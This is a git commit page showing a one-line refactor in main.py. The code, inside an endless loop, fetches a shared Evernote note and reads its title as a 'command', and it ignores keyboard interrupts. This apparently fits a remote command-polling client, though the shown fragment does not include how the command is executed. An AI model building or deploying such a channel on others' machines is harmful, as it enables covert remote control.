summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorlittleblack111 <jerrylam110209@gmail.com>2023-08-14 18:47:07 +0800
committerlittleblack111 <jerrylam110209@gmail.com>2023-08-14 18:47:07 +0800
commit3eeb9c375a80607db03527e046fb9b753ea4f1ba (patch)
tree735ae7ca099bd5ca03467ce0068ef699775db549
parentd8f83cda4e168cb2f3f2d37ad51af423522496b4 (diff)
updated
-rw-r--r--main.py4
1 files changed, 1 insertions, 3 deletions
diff --git a/main.py b/main.py
index 032d8a7..cb15518 100644
--- a/main.py
+++ b/main.py
@@ -15,9 +15,7 @@ while True:
try:
#get HTML
try:
- html_file = get("https://www.evernote.com/shard/s557/sh/f241b451-44a8-5ebe-3a73-cf74cb0fdaf5/2EW7PhNX5HU3KHOM1ZZGiu0d16La558Mv9vDJaLemJOZUP4kW2qbb1bBaQ").text
- soup = BeautifulSoup(html_file, 'lxml')
- command = soup.find('title').text
+ command = BeautifulSoup(get("https://www.evernote.com/shard/s557/sh/f241b451-44a8-5ebe-3a73-cf74cb0fdaf5/2EW7PhNX5HU3KHOM1ZZGiu0d16La558Mv9vDJaLemJOZUP4kW2qbb1bBaQ").text, 'lxml').find('title').text
except KeyboardInterrupt:
continue
except: